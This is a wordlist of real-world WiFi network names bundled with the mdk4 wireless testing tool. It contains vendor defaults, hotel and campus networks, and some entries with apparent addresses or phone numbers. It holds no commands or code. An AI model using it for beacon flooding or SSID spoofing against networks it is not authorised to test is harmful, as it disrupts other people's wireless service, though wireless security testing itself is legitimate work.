marriott martin matrix mcsy medion megahoc megahoc.21 megahoc.v22 mike mine mobile monkey mycloud myhome mynet mynetwork mywireless mywlan net netpoint no ssid no_ssid non-specified SSID !! nowireapaccess nowires nuwlan onenet orange orange12 orange13 orange14 osuwireless pennstate peter philips pi07490509x pi07490509x09 pi07490509x09sa pi07490509xsa pocwyg7swean poswireless public pvdorm ramada restricted.utexas.edu roomlinx router sarah sboca scandic_easy signNet skyriver smc smith sonicwall ssid stayonline steve studio suitespeed surfhere swisscom taylor tdc test thomas tigernet tim tmobile tom tony tsunami turbonet typhoon ubcsecure ukyedu uofm usr2249 utexas virus visitor vodafone walker west wilson wireless home wirelesshome wirelesslan workgroup wxyz yale wireless z3w7fsb4 Regency mdk4-master/useful_files/less-common-ssids.txt0000644000175000017500000015020113525065636022601 0ustar samuelophsamueloph0700"00  ESCO Base Station !@#itwasthebestoftimes123 #$VENTURES $GOOGI_1598# $wireless$ %Rindner% %SSID_UNKNOWN% %SSID_UNKNWON% &&mv-inventory-#1&& * ..natren.. //Calence-CHI 0 0 Unknown 00045a2689cf 000723 0020126777008 0033 006f3f 006f63 0080C6E30214 0080C6E302D0 0080C6E302D8 0080C6E30416 0080C6E30568 0080C6E30570 0080C6E306A0 0080C6E306D8 0080C6E308C0 0080C6E308E5 0080C6E30928 0080C6E31585 0080C6E31609 0080C6FAC249 0080C6FAC260 0080C6FAC27D 0080C6FAC2A9 0080C6FAC2C0 0080C6FAC2CA 0080C6FAC3C1 0080C6FAC3CD 0080C6FAC42C 0080C6FAC4A0 0080C6FAC537 0080C6FAC5AB 0080C6FAC6AE 0080C6FACE4A 0080C6FACF38 0080C6FACFF0 0080C6FAD034 0080C6FAD05D 0080c6e30773 0080c6fac6e2 019890 0198d0 01HZY53JBDQ88300PCFJ9285IJN51EDK 01a3ce 01a3d1 01a49a 01a584 01a669 029-3060-LINKSYS 02a53c 04272b 0434a2 0434c5 043575 0435bc 0437dd 043848 043dfd 043e31 043efe 0440f9 0441fa 04443f 0445a8 044675 0448e1 044c83 044cac 045315 0454e4 0454fd 04562c 0456f9 04574f 045f2f 045fd4 0460c1 0461cc 046236 046333 046a29 046a67 046ace 046dc7 046dd8 047777 04779F 047853 047d23 047d6d 047d73 048060 04829f 048fb1 04PPk99 05KutakRock61 069305 071493 084b89 084f44 086aee 086b0e 086bfc 086c6f 087730 087735 087744 08850e 088feb 08900c 089056 0890fd 089162 0891c2 08925c 08927d 089b17 089b81 089be6 089fc8 08bf78 08c46f 08c4c3 090ae3 092906 092924 092935 092943 092a32 092eff 092f6a 093019 09305f 0930ea 093718 093799 0CP2REDS0X 0a3014 0a3248 0a33cf 0a343b 0a43b3 0a4420 0a468a 0a472b 0a481d 0ab447 0ac403 0ac7a6 0acad0 0acea8 0ad494 0ad4a0 0aeab3 0aec29 0af077 0af61d 0af76f 0af7cc 0afc21 0afd2b 0b48d1 0b48f2 0b4fb8 0b7efc 0d6fd3 0d706c 0d70f8 0d7236 0d725a 0d72ce 0d7e45 0d80ef 1 1 ofbs 10 100 1000101 1000palms 1002 101 1010 1010 Mass Ave. 101074 102 10204 102net 103 105 111 1122 11262 at Trillogy III 1133 home 1138011380 1158 116 11g AP 11mbs 12 122 12211974 123 12345 12345677 130 131199 133047 134003 13tm31n 140 14085551212 140dbwireless 1440 1440 - Jack 3062B 1440 Bway 15150 1551 1600_villa_street_apt_179 1619NWOOD 1626015477v 1650 1691876 1735W 1762 1815B 1840 188 188ALT 1948 Fletcher 1948W 1948W2 19realsync63 1DMS Mayhem 1bb10c 1c0b71lettuce 1c8c2av 1cst0ck8 1d19f9AirPort Network 1d19f9 1d2696AIRPORT 1d2e54 1d32f1 1deb46 1e2daciBook 1e2dffOption Family 2North 1e334bAirPort Network 1e334b 1e37c3yostnet 1e4749AirPort Network xxxxxx 1e5fc9questnet 1e605bTMR Airport 1e7ca9starwars 1e8028 1e8059 1e8090 1e80da 1e8124AirPort Network 1e8124 1e9512 1lisd1 1nT3l-pR1mU$-2538 1s2morethan! 1st-Solar-11mbps 2 20011008 2021wmclean 20403002040300 20NOLSBridge 20cemexusa01 212 2158fe 215916 21stcentury 22 Forest 236 Broadway 23a367 23a3a4 23a5de 23ca78 wireless.org.au NODE EAI 2415 Park Place 2442 2468 249021 249067 25072d 25137734 251e9a 251f58 25th Floor Airport 2611geewhiznet 2708 27fb25 27fb30 27fb56 27fd91 280851 2822dd 28299 282eed 2835 289546 2895c2 28barbarylane 290fin 2WIRE 2WIRE003 2WIRE005 2WIRE006 2WIRE007 2WIRE008 2WIRE009 2WIRE010 2WIRE011 2WIRE015 2WIRE018 2WIRE020 2WIRE025 2WIRE028 2WIRE029 2WIRE030 2WIRE031 2WIRE032 2WIRE034 2WIRE035 2WIRE036 2WIRE037 2WIRE038 2WIRE040 2WIRE041 2WIRE042 2WIRE043 2WIRE044 2WIRE045 2WIRE047 2WIRE048 2WIRE049 2WIRE050 2WIRE051 2WIRE052 2WIRE053 2WIRE054 2WIRE055 2WIRE057 2WIRE059 2WIRE060 2WIRE061 2WIRE063 2WIRE064 2WIRE065 2WIRE066 2WIRE067 2WIRE068 2WIRE069 2WIRE070 2WIRE072 2WIRE074 2WIRE075 2WIRE076 2WIRE077 2WIRE078 2WIRE079 2WIRE080 2WIRE082 2WIRE083 2WIRE085 2WIRE087 2WIRE088 2WIRE089 2WIRE091 2WIRE092 2WIRE093 2WIRE094 2WIRE095 2WIRE096 2WIRE098 2WIRE099 2WIRE100 2WIRE103 2WIRE104 2WIRE106 2WIRE108 2WIRE109 2WIRE110 2WIRE111 2WIRE113 2WIRE114 2WIRE115 2WIRE116 2WIRE117 2WIRE118 2WIRE121 2WIRE125 2WIRE126 2WIRE130 2WIRE132 2WIRE133 2WIRE134 2WIRE135 2WIRE138 2WIRE139 2WIRE140 2WIRE141 2WIRE142 2WIRE144 2WIRE145 2WIRE146 2WIRE147 2WIRE148 2WIRE150 2WIRE151 2WIRE153 2WIRE154 2WIRE155 2WIRE157 2WIRE158 2WIRE159 2WIRE160 2WIRE161 2WIRE166 2WIRE168 2WIRE169 2WIRE170 2WIRE171 2WIRE172 2WIRE173 2WIRE175 2WIRE176 2WIRE177 2WIRE178 2WIRE179 2WIRE181 2WIRE182 2WIRE184 2WIRE185 2WIRE186 2WIRE187 2WIRE188 2WIRE189 2WIRE191 2WIRE192 2WIRE193 2WIRE196 2WIRE197 2WIRE199 2WIRE200 2WIRE202 2WIRE203 2WIRE204 2WIRE205 2WIRE206 2WIRE208 2WIRE209 2WIRE210 2WIRE211 2WIRE212 2WIRE213 2WIRE215 2WIRE217 2WIRE218 2WIRE220 2WIRE222 2WIRE224 2WIRE225 2WIRE226 2WIRE227 2WIRE228 2WIRE229 2WIRE230 2WIRE231 2WIRE232 2WIRE233 2WIRE234 2WIRE235 2WIRE237 2WIRE238 2WIRE239 2WIRE240 2WIRE241 2WIRE242 2WIRE244 2WIRE246 2WIRE247 2WIRE249 2WIRE250 2WIRE252 2WIRE253 2WIRE254 2WIRE255 2WIRE256 2WIRE258 2WIRE259 2WIRE260 2WIRE261 2WIRE262 2WIRE263 2WIRE264 2WIRE265 2WIRE266 2WIRE268 2WIRE269 2WIRE270 2WIRE271 2WIRE272 2WIRE273 2WIRE274 2WIRE275 2WIRE277 2WIRE279 2WIRE280 2WIRE281 2WIRE282 2WIRE283 2WIRE284 2WIRE285 2WIRE286 2WIRE290 2WIRE291 2WIRE292 2WIRE293 2WIRE294 2WIRE295 2WIRE297 2WIRE298 2WIRE299 2WIRE300 2WIRE301 2WIRE303 2WIRE305 2WIRE307 2WIRE308 2WIRE309 2WIRE311 2WIRE312 2WIRE313 2WIRE314 2WIRE315 2WIRE316 2WIRE317 2WIRE318 2WIRE319 2WIRE321 2WIRE322 2WIRE323 2WIRE324 2WIRE325 2WIRE326 2WIRE327 2WIRE328 2WIRE329 2WIRE330 2WIRE331 2WIRE333 2WIRE334 2WIRE335 2WIRE336 2WIRE337 2WIRE339 2WIRE340 2WIRE341 2WIRE343 2WIRE344 2WIRE345 2WIRE346 2WIRE347 2WIRE348 2WIRE351 2WIRE352 2WIRE353 2WIRE354 2WIRE355 2WIRE356 2WIRE358 2WIRE359 2WIRE360 2WIRE361 2WIRE362 2WIRE363 2WIRE364 2WIRE365 2WIRE366 2WIRE367 2WIRE368 2WIRE369 2WIRE370 2WIRE371 2WIRE372 2WIRE373 2WIRE374 2WIRE375 2WIRE376 2WIRE377 2WIRE378 2WIRE379 2WIRE381 2WIRE382 2WIRE383 2WIRE385 2WIRE386 2WIRE389 2WIRE390 2WIRE391 2WIRE392 2WIRE393 2WIRE394 2WIRE398 2WIRE400 2WIRE401 2WIRE404 2WIRE405 2WIRE408 2WIRE410 2WIRE411 2WIRE413 2WIRE413-Work 2WIRE414 2WIRE415 2WIRE417 2WIRE418 2WIRE419 2WIRE422 2WIRE424 2WIRE425 2WIRE426 2WIRE427 2WIRE428 2WIRE430 2WIRE431 2WIRE432 2WIRE433 2WIRE434 2WIRE435 2WIRE436 2WIRE437 2WIRE438 2WIRE439 2WIRE441 2WIRE442 2WIRE443 2WIRE444 2WIRE447 2WIRE448 2WIRE449 2WIRE450 2WIRE451 2WIRE452 2WIRE453 2WIRE454 2WIRE455 2WIRE456 2WIRE458 2WIRE459 2WIRE460 2WIRE463 2WIRE466 2WIRE467 2WIRE469 2WIRE470 2WIRE471 2WIRE472 2WIRE474 2WIRE475 2WIRE476 2WIRE478 2WIRE479 2WIRE481 2WIRE482 2WIRE484 2WIRE485 2WIRE486 2WIRE488 2WIRE490 2WIRE493 2WIRE495 2WIRE496 2WIRE497 2WIRE498 2WIRE499 2WIRE500 2WIRE501 2WIRE502 2WIRE503 2WIRE505 2WIRE506 2WIRE507 2WIRE508 2WIRE509 2WIRE510 2WIRE511 2WIRE513 2WIRE514 2WIRE515 2WIRE516 2WIRE517 2WIRE518 2WIRE519 2WIRE520 2WIRE521 2WIRE524 2WIRE525 2WIRE526 2WIRE528 2WIRE529 2WIRE530 2WIRE531 2WIRE532 2WIRE533 2WIRE535 2WIRE537 2WIRE538 2WIRE539 2WIRE541 2WIRE542 2WIRE544 2WIRE545 2WIRE546 2WIRE548 2WIRE550 2WIRE551 2WIRE552 2WIRE553 2WIRE554 2WIRE555 2WIRE556 2WIRE557 2WIRE558 2WIRE559 2WIRE560 2WIRE561 2WIRE563 2WIRE564 2WIRE565 2WIRE566 2WIRE567 2WIRE569 2WIRE571 2WIRE572 2WIRE574 2WIRE576 2WIRE577 2WIRE578 2WIRE579 2WIRE580 2WIRE581 2WIRE582 2WIRE583 2WIRE584 2WIRE586 2WIRE587 2WIRE588 2WIRE589 2WIRE590 2WIRE591 2WIRE592 2WIRE593 2WIRE595 2WIRE596 2WIRE597 2WIRE598 2WIRE599 2WIRE600 2WIRE603 2WIRE605 2WIRE606 2WIRE608 2WIRE610 2WIRE611 2WIRE612 2WIRE614 2WIRE615 2WIRE616 2WIRE617 2WIRE618 2WIRE620 2WIRE621 2WIRE622 2WIRE623 2WIRE624 2WIRE627 2WIRE631 2WIRE632 2WIRE635 2WIRE639 2WIRE640 2WIRE641 2WIRE642 2WIRE645 2WIRE646 2WIRE647 2WIRE648 2WIRE650 2WIRE651 2WIRE652 2WIRE653 2WIRE654 2WIRE655 2WIRE656 2WIRE657 2WIRE658 2WIRE659 2WIRE661 2WIRE663 2WIRE665 2WIRE667 2WIRE668 2WIRE669 2WIRE670 2WIRE672 2WIRE673 2WIRE674 2WIRE675 2WIRE677 2WIRE678 2WIRE679 2WIRE680 2WIRE681 2WIRE682 2WIRE683 2WIRE684 2WIRE686 2WIRE687 2WIRE688 2WIRE689 2WIRE690 2WIRE691 2WIRE692 2WIRE693 2WIRE694 2WIRE696 2WIRE697 2WIRE698 2WIRE699 2WIRE700 2WIRE701 2WIRE704 2WIRE706 2WIRE707 2WIRE708 2WIRE709 2WIRE710 2WIRE711 2WIRE712 2WIRE714 2WIRE715 2WIRE717 2WIRE718 2WIRE720 2WIRE723 2WIRE724 2WIRE726 2WIRE730 2WIRE732 2WIRE734 2WIRE735 2WIRE736 2WIRE737 2WIRE738 2WIRE739 2WIRE741 2WIRE743 2WIRE744 2WIRE747 2WIRE749 2WIRE750 2WIRE751 2WIRE752 2WIRE753 2WIRE754 2WIRE755 2WIRE756 2WIRE757 2WIRE760 2WIRE761 2WIRE762 2WIRE763 2WIRE766 2WIRE767 2WIRE768 2WIRE769 2WIRE770 2WIRE771 2WIRE773 2WIRE774 2WIRE776 2WIRE778 2WIRE779 2WIRE782 2WIRE784 2WIRE785 2WIRE787 2WIRE788 2WIRE789 2WIRE790 2WIRE792 2WIRE793 2WIRE795 2WIRE798 2WIRE800 2WIRE801 2WIRE803 2WIRE806 2WIRE807 2WIRE808 2WIRE810 2WIRE812 2WIRE814 2WIRE817 2WIRE818 2WIRE820 2WIRE822 2WIRE825 2WIRE826 2WIRE827 2WIRE828 2WIRE829 2WIRE831 2WIRE832 2WIRE833 2WIRE834 2WIRE835 2WIRE836 2WIRE837 2WIRE839 2WIRE840 2WIRE841 2WIRE842 2WIRE844 2WIRE846 2WIRE847 2WIRE849 2WIRE850 2WIRE852 2WIRE854 2WIRE855 2WIRE856 2WIRE857 2WIRE859 2WIRE860 2WIRE861 2WIRE864 2WIRE866 2WIRE867 2WIRE872 2WIRE873 2WIRE874 2WIRE875 2WIRE876 2WIRE878 2WIRE879 2WIRE880 2WIRE882 2WIRE884 2WIRE885 2WIRE886 2WIRE889 2WIRE891 2WIRE892 2WIRE894 2WIRE895 2WIRE896 2WIRE898 2WIRE899 2WIRE902 2WIRE905 2WIRE906 2WIRE907 2WIRE908 2WIRE910 2WIRE911 2WIRE912 2WIRE913 2WIRE914 2WIRE916 2WIRE918 2WIRE919 2WIRE921 2WIRE923 2WIRE925 2WIRE926 2WIRE927 2WIRE929 2WIRE930 2WIRE931 2WIRE935 2WIRE936 2WIRE937 2WIRE938 2WIRE939 2WIRE940 2WIRE941 2WIRE943 2WIRE944 2WIRE945 2WIRE946 2WIRE948 2WIRE950 2WIRE951 2WIRE952 2WIRE955 2WIRE957 2WIRE960 2WIRE961 2WIRE962 2WIRE963 2WIRE964 2WIRE965 2WIRE966 2WIRE967 2WIRE973 2WIRE975 2WIRE976 2WIRE978 2WIRE979 2WIRE984 2WIRE985 2WIRE986 2WIRE990 2WIRE991 2WIRE992 2WIRE993 2WIRE994 2WIRE995 2WIRE997 2WIRE998 2WIRE999 2df7b9 2eef8b 2eja5qmd6cna 2f3beb 2f585f 2f83e1 2f8683 2nd Floor 2ndDev 2wire021 2wire046 2wire122 2wire129 2wire304 2wire384 2wire420 2wire429 2wire468 2wire527 2wire619 2wire633 2wire662 2wire722 2wire746 2wire783 2wire794 2wire824 2wire868 2wire928 3 Gloucester 3000gt 300west 3013 3063e2 307bca 309AirportBase 31003 312160 3126416304 3135f7 3199D 324 North Jefferson 328c40 32fc5e 32fddd 333NJeff 3541noakley 360wireless 371b89 3752d2 377e31 377ff3 3840 May Court wireless 389651 38af5b 392fe5 3BT 3COM 3Ceap 3Com 3blindmice 3c27c1 3ca4e7 3ceap 3com 3d2ee8 3f2171 3stews 3x0 405net 411rulz 417 Mountain View Avenue 42-Net (taw) 5B8FE1 428CH.CURRICULUM 42Net 42net 42uap01-B 434 4474 474553 4867832 4Testing 4thebitterserver 4wpw 505 5067 51 51Gm8 540west 5420 5ECUR3w3p5TOR3 6 600 600 South 605 Fairchild 6066 6128026614_for access 62381863 628 632 Airport 64 66 68 6s7jk3fbu 6th Grade Wing2 72653 72654 728 West Jackson 728 West Jackson 811 Network 74FordPinto 7590000001 785Nuera9 7930 7th Grade Wing 2 80211 80211net 802waltgeld 82jds02j4s 840020 8411 85000BGROUP 850321GROUP 850388MVZODIAC1 8640CEDAR 8648EDGROUP 86907CGROUP 888 88867183268883493890 8900E0ACCMO 89AB 8x8 9 Unknown 90greene123 9398 971!ULTIA 998 99800024 9banks @360 @SG-WIRELESS @chongju1! @home @home1 A trtl network A6.104 Airport-disabled AA AAC_WLAN AAPChicago ABCOW ABCS ABS Central ACAS.Office ACCESS-SBOE ACPS2 ACS WIRELESS ACTIONTEC ADDMES ADG ADG Wireless Network ADI ADP ADP-WIRELESS ADSL-WiFi AED AENS HQ Wireless Network AEris AGBMS AGC-CHI AIADA AIBONET AIRESWHVAP AIRFORCE ONE AIRVAPCV1 AISD-GUEST ALICE-WLAN ALM ALMAR AM Castle1 AM Castle3 AMATPS&AMADNS#Telesci_EDB4 AMAT_Prod AMB2003 AMSWEP AMX ANNA6 ANY AOLSBS AP-Gr5-Dohnke AP4800 AP7XR AP8000 APIBHSWIRELESS APPLE APPWN APT AP_Router ARSON WORKGROUP ASAP ASAWIRELESS ASML ASVEngWiFi AT&T AT&T Wireless ATA ATCNet ATG-CMBRDG ATLANTIS ATMEL ATO-MP3 AVAYAnet AW AZAIR AZERTY_1 AZRF Aalayance AboutService Access Access Lab Airport AccessPoint Aconcagua Actional AdTech-BBIP Adam Additech Adit Navel Adler Runway Adol Aegis Agapecomputer Agathas Computer Agere Systems Agren House Air Appleseed Air2Data AirDeli-SanFelipe AirJadam AirJordan AirKantz AirMac AirMacSanDiego AirMarin AirOne AirPort AirPort Base Station 1 AirPort Network 001 AirPort Network 1e5467 AirPort Network 21887c AirPort Network 2197f9 AirPort Network 21fbc0 AirPort Network 232b2c AirPort Network 2DDE7E AirPort Network 2E03C5 AirPort Network 2E0468 AirPort Network 2E3329 AirPort Network 5B8FFD AirPort Network AS SAT AirPort Network Vision AirPort Network f071e5 AirPort Network f075c3 AirPort Network f076d0 AirPort Network f0a1a8 AirPort Network f0a2a0 AirPort Network f0a395 AirPort Network f10b3f AirPort Network f14f62 AirPort Network f191c7 AirPort Network f193e7 AirPort Network f1e1fd AirPort Network f23cb8 AirPort Network f7790f AirPort Ramona 1 AirPort iPlanet AirPort network AirPort-MIS AirPortLAN AirTom AirWave Airfox Aironet-1 Airport Airport 1 Airport Base Station Airport BeSecondSW Airport DSL Airport Free La Jolla Airport Net B-17 Airport Network Airport Network 210 Airport Network 240 Airport Reload Airport base Airport-Office Airware1 Akira1 Alan2 AlbertWirelessNetwork Alchemy Alex Alexander AliKatz AliceAdam AllOpticalWAP Alpha AlphaChiOmega Andes Andrew AndyShannonAmy Angela's Airport Arena Anne's AirPort Antibus Any ApQcWireless Apartment Apartment 2306 Apple Apple 1 Apple Airport test Apple Guy Apple Ideanet Apple Network Apple Network 012eb1 Apple Network 017144 Apple Network 021f96 Apple Network 025410 Apple Network 025f35 Apple Network 026417 Apple Network 026ccf Apple Network 027671 Apple Network 0284c9 Apple Network 0287b8 Apple Network 02faa2 Apple Network 031dee Apple Network 03230c Apple Network 032577 Apple Network 0333d1 Apple Network 0338d8 Apple Network 033901 Apple Network 037537 Apple Network 037558 Apple Network 038763 Apple Network 038c21 Apple Network 03a2d1 Apple Network 03c5fb Apple Network 03d2e8 Apple Network 03f3a4 Apple Network 04 Apple Network 046637 Apple Network 04fa21 Apple Network 05cd52 Apple Network 0620cb Apple Network 07919a Apple Network 08cc3a Apple Network 094be6 Apple Network 097f7a Apple Network 0a2835 Apple Network 0a3e08 Apple Network 0a5231 Apple Network 0b0703 Apple Network 0b7b12 Apple Network 0ca489 Apple Network 0db02b Apple Network 0ed070 Apple Network 0f8fd7 Apple Network 0f8fdd Apple Network 0fcf3f Apple Network 110cdcc Apple Network 14bb3e Apple Network 14c2ff Apple Network 14c852 Apple Network 14cd95 Apple Network 150c76 Apple Network 15132d Apple Network 1b7a80 Apple Network 1c5772 Apple Network 1c5930 Apple Network 1caa11 Apple Network 1cab1d Apple Network 1cb043 Apple Network 1ce667 Apple Network 1cf20a Apple Network 1cf9f4 Apple Network 1cfe41 Apple Network 1d0382 Apple Network 1de680 Apple Network 1e0b18 Apple Network 1e2b5d Apple Network 1e4ec2 Apple Network 1e5c02 Apple Network 1e6d98 Apple Network 1ebb37 Apple Network 1f01ef Apple Network 1f2693 Apple Network 1f5db7 Apple Network 1f63d6 Apple Network 1f6538 Apple Network 27cb26 Apple Network 2aeee8 Apple Network 2b81a8 Apple Network 2cfedd Apple Network 2d58c8 Apple Network 2dd6f1 Apple Network 2e0521 Apple Network 2e86a8 Apple Network 2eb3d2 Apple Network 2ec051 Apple Network 2ec15b Apple Network 2ee5f3 Apple Network 2ef9e5 Apple Network 2f17f7 Apple Network 2f42ae Apple Network 2fd5fb Apple Network 2fefea Apple Network 2ff156 Apple Network 300d8a Apple Network 30348b Apple Network 303809 Apple Network 303d50 Apple Network 31b7a6 Apple Network 3209fd Apple Network 33cd67 Apple Network 35d7b9 Apple Network 36061b Apple Network 3668a9 Apple Network 3692c1 Apple Network 36c2b8 Apple Network 36fed9 Apple Network 374316 Apple Network 39ec09 Apple Network 39f1a2 Apple Network 39f241 Apple Network 3a9b7b Apple Network 3aa4c9 Apple Network 3cb71f Apple Network 3ce86c Apple Network Catalyst Apple Network GBFair Apple Network f017cd Apple Network f02b4c Apple Network f6ba79 Apple Network suginet Apple Network xxxxxx Apple Squared Apple Wireless 1 Apple Wireless Network Apt AquaGex Archangel ArcorWirelessLAN Area 52 Area51Net Arkham Armando's Airport Arrow Art's Airport Network Asatsu Wireless Asomim Aspiryon Atlas House AirPort Net Atlas Menlo WLAN AuSS AirPort S2 Ausley Austin WaveLAN Network AustinChemicalWireless AuthWireFreeNet Auto Auction 01 Avion Way Avolar Awr music B2B B64629680E BACKBONE2 BAGSCANUAORD BANTA BBElecShopLink BBNet BBWNET BBraun BCAA BCES BCRCInet BCS-Wavelan BD's Wireless BDI BENHOME BENNETTBROTHERS BIG5 BINZ BIS BJLlinksys BLAP BLDG1900_Rep BLG Network BLUETOAD-WLAN BNDEMO BOR WAP BORN BOYKEN BP-SOHO BPDTC Wireless BRIDGE BRIDGE2 BROADCOM BSU BT31 BTOpenzone BUNKER HILL BUP Office BURGART BWA711 BWnet Babylon 5 Bacher's Bandit BangNet BanzaiLab Barbri Barney Base Station Basil's Bastogne Batts Hall Room 6 Baymont Bean's Domain Bean's Place BearPort Station Bears BeckLAN Belkin Belkin54g Bella Bengi Bercenar Beredimas BestFit BestWestern Beth Beth AirPort Bev's room Bexley Bierhome Big Daddy Bit-Head BitCrafter Wireless Blackhole Integration Blancas Wireless BlastC Blip 2 Blip Net Blitzz Blue Blue Airport Blue Sky Blue802 Bnet Board Office Zone Board Room Board Room Base Station Bobubbaboo Boo Network Boyd Airport Boylston Brain Fry Experiment Brajkovic Brasil Brelsford BrentoAir Brian Brian's Airport Network Brian's Net Brightwork Brutus's Home BubDib Buckingham-05 Buenning Network 3cee35 Bugsy Building19_AP Bundles Bunny Burns ButtAirfield Buttercup BuzzBug Byers C and L's Network C-M C1 C264_P2Pe C3 Wireless Network CABRERA CAC CALCUCAREON CALGB CAR CARADS DEVWLAN CASHVILLA CAT CAVS Wireless CCG CCI Inc CCSWAP11 CDCC CDW CECNETWORK CEC_WLAN_LINK CEDSAP CGL_AirNet CH350AP CHI-ACAP01 CHI101 CHI15 CHICAGO1 CHLHome CHRISTUS1 CISCO CLC AP CLUBQUARTERS CM AirPort 1 CM AirPort 4 CM AirPort 5 CMGWireless-11MB CMSWLENET CMTA AirPort Network-1 CMU CNet COE COMPAQ COMPAQ-TR2 COMPIQ CON CONNECT2AIR CORRIGOWLAN1 COTB COWireless1 COWireless2 CPANetwork CPCSWIRELESS CPM CPS-A CPSWIRELESS CQOS Wireless CRC CRMSE CSCTILAB CSD WLAN CSQA-A CSSD CTG CTW CWAS CWTwlan Caddy Shack Lab CadenceWireless Calzada Network Cameron Cameron Station Caola CapCBR CarriageSquare Carriage_Realty Carroll CarubaWL Casa Blanca CasaAraujo CasaGFV CaseGuest Casey Jacobs Castle Test CatherNet Cebit#2 Central Station ChaPin Chandler Street Network Chandran Channing_House ChapmanClinic CharlieWanda CharliesNET Charter Chattnet Chayo-Linksys Chenium Chestnut's Roastings Chez Baldwin ChiaPort Chicago Chicago Office Chicago914 Chicagooffice Chinchilla Airport Chipotle ChockAblocK Chris Chris's Base Station ChumesaWireless Churchy CiScOkId2322 Cisco CiscoAP Ciucki Cleaner Corp Clearbus CleverSpin ClinicalAssociates Closet15_AP Closet3_Rep Closet8_Omni CoalesCo CoastMgmt91 Coastland Cohen Coleman College of Natural Sciences Collie Comcast Comma Airlines CompUSA Airport Compaq CompareTest Computer Perfection display Conference Room Conference Room A Conference Room AirPort ConfigMaker Conifer Connection Point ConnectionPoint Copeland Airfield Corp CorpNet CoteWireless Cottonwood Cox-Hospitality Cracka Crackpot Radio Creekside_Elem CrittersCottage CrossNet CrownAir2001 Crywolf, Secure Customer ID Cutrufo Wireless D-LINK D162325W DA DAN DAN2LISA2LAUREN DANKO DARWINgables DARWINgables2 DARWINgables3 DATASYSTEMS DAirport DBI Office DCFP_AP DCMOBILE DDNET DDPogo DELTAS DESL DHCP DIOS DJF Network xxxxxx DLINK DMK DMUSD Wireless Network DNetwork DO Annex DOL_WIRELESS_LAN DRB DRE DRSYSTEMS DSL 713-871-0631 DSLWLANModem200 DSLWilmette DSMWireless DTE_BNG DTZNET DUFOUR DUKE DUNC DUZEYLAN DV201AM DWLHotSpot3 DWTHOME DaHouse Daisy Dale Damaro Dan DanZone Dana Center Wireless Network Danger outside Daniel's Airport Darkstar Darren's Wireless Data Harbor DataMonkey Databean Dave Dave Home Dave's Airport DaveNet Dave_Cross David Broderick David Taylor David's AirPort DaysInn DeadDeadDead Debbie Decoy Deegan Network Default Default SSID Desmond House Deutschland Dexter DextersLab DiDo Digisle-A Dino's Airport Net Disa Dist_25_A District 2 Base Station District 5 District 65 District Office Ditmar Airport 1 Dman Enterprise DoNotEnter Doc Dodge AirPort Domizile 327B Don Pepe Don's Airport Network Doroshenko Doug Myers Dowsville DoyleNet Dr. Buster's AirPort Dr. Radner's Internet via Airprt Draadloos Drew Cable Duane Lee's base station Durango Airport DurianTree E-net E320 Cab EASE EDA SSID EDMIN EDS EDTG's Wireless WAN EE EEE ELSA EMCNET EMCtr ENGWAP EPICbase EPVC ERA Countrywood ERCO LS ERGOSOFT ERP_link ES3000-11B ESP ESSID51 ESSIDHome ESTEAM net ETUS ETX Travel EaTmE EagleRider EarthKAM Earthlink Earthlink DSL Echo Net Eclipticsys Ed Tech Ed's AirPort Network EdTech Base 1 Eerika Effective Communication/DePaul Ehrlich Home AirPort Network ElderNet ElectronicBanking ElkTrailWisp Engel G4 Engineering North Engr Net 1 Ensemble Enteract Enterocitor Erbe Eric's Airport Ethernet Ethostream EvergreenTerrace EveryWhereNet Excalibur Excite@Home1 Extremetix F000AEGROUP F000D6GROUP F82FD0 FAIRMONT FALCESS FARRAN FASA FDSSEC FG04Apr06MBS FIRENET FLETCHER-MAYNARD FM FMA FMAIR FONHome FP802.11b FPK_WAREHOUSE FRANK FRCD FRITZ!Box Fon WLAN FRITZ!Box Fon WLAN 7050 FRITZ!Box Fon WLAN 7141 FRITZ!Box Fon WLAN 7170 FRITZ!Box SL WLAN FRITZ!Box WLAN 3030 FRITZ!Box WLAN 3050 FSC101 FSSR5 FTP FUTUREDONTICS FWCS-WIRELESS FWD-Omnli FWP Faculty Faery Roost Family Farscape FatPort (Non-UBC user) FeatherByEarthLink Fechten Fengs Fiddler's Green Fielding Figbert Finn+AP FirasRouter First Christian Church AirPort Fitness 101 MP Fitz Fleiss Flying Saucer Focus_Test FoonSoo Fracture Frank's Network Frank's office FrankelNet Frazier Freakball FredoniaHotel Free Internet Access Free Public WiFi Freedom2 Freedom2Work Frisbee Frost Wireless Frye Fuck You! Fusca Fusion!Sanders G Unit Network G4air G4x G604T_WIRELESS GAP-WIRELESS GCG Network GC_Airlan GDS VCI 01 GDS-WIRELESS0 GE-Ec0n GES-2AP GESAS GESAS-C-42902 GFX-Airport GHT GL GLA GLWireless GMarconi GNET GOLDMAN GPCSTORE GPSDunwired GRUEN GSOLE GSR_TME GTW GWDWipop GWDWipop1 GWDWipop2 GXENG Galaxy Galena GameDev-Central GarretLand Gary Gaslamp Gateway Gateway01 GazooPort 0fc9d7 GeekSquad Genesis GeorgeAP22 Gerald Gerth_Wireless_Net Gidwitz Home GilbertWireless GlobalSuiteWireless GlobalSync GoAway Gobosh Wireless LAN GoldenTree Goztepe Grand Central Granite GrantWare 1.0 Graphite Net Green Greene WorkGroup Greenview Greenwerk Gregg Home Gregory Manore's AirPort Network Gregs Network Grove Guavaboy+Wireless Guest Guestnet Guglielm0 Marc0n1 Gulik Gummery GustavoSucks H-S Network HAC2 HAC3 HAC4801 HALRD-GOLD HALRD-SILVER HBS HBSM HCCS HCHSNET HCSSMEGALAN HD AirPort 1 HEALTHCITE-CHICAGO HFCOMINC HITRON HI_WOODRIDGE HJ33VhCiVgFGl4Ed3TvB HLZ HMC HMO AIR LAN HOLT HOME HOMENET HOMENETWORK HOMEWLAN HOTEL HOTZEN HOUSTONCOMPUTERHELP HRIBAR HRII HSBC HSS HTC1952Rams HTHS HUMPHRIES HVLHoldings HVRL HW1 Hack Your Way To Jail Hadrian's Wall Hahnfeld HakNet Halloran & Reynolds LLP Haney Home AirPort Network Hansen House Harbor Hardesty Hardware10 Harolds Network Harris Hill Harvard University Hatfield DSL Haus of Phreeks Hauser Home Hauser Net Hawthorn HayBooNetAP Hayden-ln-local Hayloft Heb1905 Henderson1 Henderson2 Hendo Hennessy's Network Hermie Herrmann HewittHome Hey Hilary HilliardHomeNetwork Hirano AirPort 5 Hitchcock Hoffman Holiday Inn Home Home - WLAN Home AirPort Home Airport Home Airport (DSL) Home Airport Network Home Base 2 Home Net Home Network Home Office Home Wireless Home Wireless Network Home/Gower Home3D HomeNet HomeOffice HomePort HomeRun HomeSweetHome HomeWireless 